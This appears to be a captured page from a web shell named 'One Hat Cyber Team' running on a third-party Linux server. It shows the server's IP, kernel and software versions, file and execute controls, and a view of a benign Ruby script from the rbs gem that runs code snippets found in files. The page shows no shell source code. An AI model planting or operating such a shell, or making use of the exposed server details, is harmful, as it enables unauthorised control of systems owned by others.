⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib
/
ruby
/
gems
/
3.0.0
/
gems
/
rbs-1.0.4
/
bin
/
View File Name :
run_in_md.rb
require "tmpdir" require "shellwords" ARGV.each do |path| puts "~~~~~~~ Checking #{path} ~~~~~~" content = File.read(path) snippets = [] lines = [] content.lines.each.with_index do |line, index| case line when /run-start:/ lines = [[line, index+1]] when /run-end/ lines << [line, index+1] snippets << lines lines = [] else lines << [line, index+1] end end snippets.each do |lines| puts ">>> Code detected: " hd, _, *code_lines, _, _ = lines head = hd[0] head.gsub!(/^$/, "") _,name,command = head.split(/:/) puts "# command=#{Shellwords.split(command).inspect}" puts "# name=#{name}" puts code_lines.map {|line, i| "#{"%4d" % i} #{line}" }.join code = code_lines.map(&:first).join puts ">>> Running..." Dir.mktmpdir do |dir| File.write(File.join(dir, name), code) pid = spawn({ "BUNDLE_GEMFILE" => File.join(__dir__, "../Gemfile") }, *Shellwords.split(command), chdir: dir) _, status = Process.waitpid2(pid) status.success? or raise "Failed to execute code: #{code_lines.join}" end end end